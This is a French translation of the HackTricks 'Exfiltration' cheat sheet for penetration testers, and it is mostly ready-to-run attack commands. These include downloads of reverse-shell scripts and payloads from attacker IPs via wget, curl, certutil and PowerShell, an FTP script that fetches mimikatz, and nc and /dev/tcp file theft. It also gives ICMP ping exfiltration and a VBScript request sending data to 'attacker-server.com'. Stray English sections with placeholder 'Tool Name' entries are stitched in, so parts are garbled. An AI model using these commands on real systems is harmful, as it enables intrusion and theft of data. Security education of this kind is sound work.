hacktricks/generic-methodologies-and-resources/exfiltration.md

# Exfiltration

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<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.

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***

## Domaines couramment autorisés pour exfiltrer des informations

Consultez [https://lots-project.com/](https://lots-project.com/) pour trouver des domaines couramment autorisés qui peuvent être abusés

## Copier\&Coller Base64

**Linux**
```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**Windows**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
## HTTP

**Linux**
```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**Windows**
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Télécharger des fichiers

* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Module Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **Serveur HTTPS**
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## FTP

### Serveur FTP (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### Serveur FTP (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### Serveur FTP (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```

```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Client** Windows
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.

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***

## SMB

Kali en tant que serveur
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Ou créez un partage smb **en utilisant samba**:
```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
```
# Exfiltration

## Techniques

### Exfiltration Over Command and Control Channel

- **Description:** Exfiltrating data over the command and control channel used by the malware.
- **Detection:** Monitor network traffic for unusual patterns or connections to known malicious IP addresses.
- **Prevention:** Implement network segmentation to restrict communication channels for malware.

### Exfiltration Over Alternative Protocol

- **Description:** Using alternative protocols such as DNS or ICMP to exfiltrate data.
- **Detection:** Analyze network traffic for suspicious use of non-standard protocols.
- **Prevention:** Implement deep packet inspection to detect and block exfiltration attempts.

### Exfiltration Over Encrypted Channels

- **Description:** Encrypting exfiltrated data to evade detection.
- **Detection:** Monitor for high volumes of encrypted traffic leaving the network.
- **Prevention:** Implement SSL/TLS inspection to decrypt and inspect encrypted traffic.

## Tools

- **[Tool Name](#)**: Description of the tool and how it can be used for exfiltration.
- **[Tool Name](#)**: Description of the tool and how it can be used for exfiltration.

## Resources

- **[Resource Name](#)**: Description of the resource and how it can help in understanding exfiltration techniques.
- **[Resource Name](#)**: Description of the resource and how it can help in understanding exfiltration techniques.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
## SCP

L'attaquant doit avoir SSHd en cours d'exécution.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS

Si la victime a SSH, l'attaquant peut monter un répertoire de la victime vers l'attaquant.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC

### Exfiltration

Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data, including:

- **Exfiltration Over Command and Control Channel**: Attackers can use the existing command and control channel to exfiltrate data from the target system.

- **Exfiltration Over Alternative Protocol**: Attackers can use alternative protocols such as DNS, ICMP, or HTTPS to exfiltrate data in a covert manner.

- **Exfiltration Over Unencrypted Protocols**: Attackers can exfiltrate data over unencrypted protocols such as HTTP or FTP.

- **Exfiltration Over Encrypted Protocols**: Attackers can exfiltrate data over encrypted protocols such as HTTPS or SSH to avoid detection.

- **Exfiltration Using Steganography**: Attackers can hide data within images, audio files, or other digital media to exfiltrate information without detection.

- **Exfiltration Using Covert Channels**: Attackers can use covert channels to exfiltrate data, such as encoding data within DNS queries or using timing channels.

- **Exfiltration Using Data Compression**: Attackers can compress data before exfiltrating it to minimize the amount of data transferred and avoid detection.

- **Exfiltration Using Data Fragmentation**: Attackers can fragment data into smaller pieces and exfiltrate them individually to avoid detection.

- **Exfiltration Using Encryption**: Attackers can encrypt exfiltrated data to prevent unauthorized access and maintain data confidentiality.

- **Exfiltration Using Out-of-Band Communication**: Attackers can exfiltrate data using out-of-band communication channels, such as using a separate network connection or covert channel.

Understanding the various exfiltration methods is crucial for detecting and preventing data exfiltration attempts during security assessments.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp

### Télécharger un fichier depuis la victime
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Télécharger un fichier sur la victime
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
Merci à **@BinaryShadow\_**

## **ICMP**
```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```

```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)
```
## **SMTP**

Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un SMTP pour recevoir les données avec python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP

Par défaut dans XP et 2003 (dans d'autres, il doit être ajouté explicitement lors de l'installation)

Dans Kali, **démarrer le serveur TFTP**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**Serveur TFTP en python :**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
Dans **victime**, connectez-vous au serveur Kali :
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP

Téléchargez un fichier avec un oneliner PHP :
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript

### Exfiltration

VBScript can be used to exfiltrate data from a compromised system. This can be achieved by sending data to an external server controlled by the attacker. The following code snippet demonstrates a simple exfiltration technique using VBScript:

```vbscript
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP")
url = "http://attacker-server.com/data=" & data
objXMLHTTP.open "GET", url, False
objXMLHTTP.send
```

In this code snippet, the `data` variable contains the information to be exfiltrated. The script creates an XMLHTTP object, appends the data to the URL, sends a GET request to the attacker's server, and transmits the data.

It is important to note that exfiltrating data using VBScript can be detected by security tools, so additional obfuscation techniques may be necessary to avoid detection.
```bash
Attacker> python -m SimpleHTTPServer 80
```
**Victime**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe

Le programme `debug.exe` permet non seulement l'inspection des binaires, mais a également la **capacité de les reconstruire à partir de l'hexadécimal**. Cela signifie qu'en fournissant un hexadécimal d'un binaire, `debug.exe` peut générer le fichier binaire. Cependant, il est important de noter que debug.exe a une **limite d'assemblage de fichiers jusqu'à 64 ko en taille**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Ensuite, copiez-collez le texte dans le shell Windows et un fichier appelé nc.exe sera créé.

* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)

## DNS

* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)

<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


<details>

<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres façons de soutenir HackTricks:

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>